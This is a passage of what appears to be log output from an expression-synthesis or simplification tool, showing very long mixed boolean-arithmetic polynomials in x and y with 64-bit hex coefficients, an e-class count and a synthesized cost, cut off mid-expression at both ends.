((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(~((~x)|y))))+(((x|y)*(-0x4a9fc5a000000000))*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(~((~x)|y))))+(((x*y)*(-0x37f7d43800000000))*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(~((~x)|y))))+(((y^x)*(-0x254fe2d000000000))*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(~((~x)|y))))+((y*(-0x666f84b000000000))*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(~((~x)|y))))+((((~x)^y)*(-0x666f84b000000000))*(x&y)))+(((~((~x)|y))*(~((~x)|y)))*0x3337c25800000000))+(((~((~x)|y))*(-0x666f84b000000000))*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(~((~x)|y))))+((((x|y)*(x|y))*(-0x3eff4a4000000000))*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(~((~x)|y))))+((((x|y)*(-0x5e7eef6000000000))*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(~((~x)|y))))+((((x|y)*(-0x3eff4a4000000000))*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(~((~x)|y))))+((((x*y)*(x*y))*(-0x436f99c400000000))*(x&y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*y))+((((x*y)*(-0x50c0885000000000))*(y^x))*((~x)^y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*(~((~x)|y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*y))+((((y^x)*(y^x))*(-0x70402d7000000000))*((~x)^y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*(~((~x)|y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*y)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*((~x)^y))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((~((~x)|y))*(~((~x)|y)))))+((((x|y)*(-0x68d4fbc000000000))*(~((~x)|y)))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((x&y)*(x&y))))+(((x*y)*(-0x78b0219800000000))*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*y)*(x&y)))+(((x*y)*(-0x78b0219800000000))*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*((~x)^y))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((~((~x)|y))*(~((~x)|y)))))+((((x*y)*(-0xe9fbcd000000000))*(~((~x)|y)))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*(-0x4b95822000000000))*y)*((~x)^y)))+((((y^x)*(-0x4b95822000000000))*y)*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*(-0x4b95822000000000))*((~x)^y))*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y^x)*0x4b95822000000000)*(~((~x)|y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*(-0x5bfeed000000000)))+(((y*y)*(-0x113fcc7000000000))*((~x)^y)))+(((y*y)*(-0x113fcc7000000000))*(~((~x)|y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*(-0x113fcc7000000000))*(((~x)^y)*((~x)^y))))+(((y*(-0x227f98e000000000))*((~x)^y))*(~((~x)|y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((y*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((y*(-0x113fcc7000000000))*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x5bfeed000000000)))+(((((~x)^y)*((~x)^y))*(-0x113fcc7000000000))*(~((~x)|y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((~x)^y)*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x5bfeed000000000)))+((((~((~x)|y))*(~((~x)|y)))*0x113fcc7000000000)*(x&y)))+(((~((~x)|y))*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*y))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*(~((~x)|y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*y))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*(~((~x)|y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*y))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*(~((~x)|y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*y))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*(~((~x)|y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*y))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*(~((~x)|y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*y))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*(~((~x)|y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*y))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*(~((~x)|y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*y))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*(~((~x)|y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(~((~x)|y))))+((((x*y)*(-0x3e5f50a000000000))*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(~((~x)|y))))+((((y^x)*((y^x)*(y^x)))*(-0x7fa3674000000000))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*y)*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*((~x)^y))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(x|y))*(-0x5816110000000000))*(~((~x)|y)))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((x&y)*(x&y))))+((((x|y)*(-0x7def734000000000))*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*y)*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*((~x)^y))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x421198000000000))*(x*y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((x&y)*(x&y))))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*y)*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*((~x)^y))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x5816110000000000))*(y^x))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*y)*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*((~x)^y))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(x*y))*(-0x618c699000000000))*(~((~x)|y)))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*((~x)^y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*(-0x7def734000000000))*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(~((~x)|y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*((~x)^y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*((~x)^y))*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(~((~x)|y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*((~x)^y)))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*(-0x1cfd390000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*y)*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*(-0xe7e9c8000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x|y)*0xe7e9c8000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x|y)*(-0x5080768000000000))*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*(-0x4adef56000000000))*(y*y))*((~x)^y)))+((((x*y)*(-0x4adef56000000000))*(y*y))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(-0x6a42154000000000))*y)*((~x)^y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*y)*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*(-0x4adef56000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x*y)*0x4adef56000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x*y)*(-0x4adef56000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x*y)*(-0x3c6058e000000000))*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*(-0xe7e9c8000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((y^x)*(-0x78c0b1c000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(~((~x)|y)))*((x&y)*(x&y))))+(((y^x)*(-0x28403b4000000000))*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*(-0x7dfd875000000000)))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(~((~x)|y))))+(((y*(y*y))*(-0x809e2c000000000))*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(~((~x)|y))))+((((y*y)*(-0x181da84000000000))*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y*y)*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+(((y*(-0x181da84000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+((((y*(-0x303b508000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((y*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((y*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((y*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*(-0x7dfd875000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(~((~x)|y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x809e2c000000000))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((((~x)^y)*((~x)^y))*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((((~x)^y)*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((((~x)^y)*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((~((~x)|y))*((~((~x)|y))*((~((~x)|y))*(~((~x)|y)))))*(-0x7dfd875000000000)))+((((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x809e2c000000000))*(x&y)))+((((~((~x)|y))*(~((~x)|y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((~((~x)|y))*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*(-0x7dfd875000000000)))
====================================================================================================
eclasses #: 1267
Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^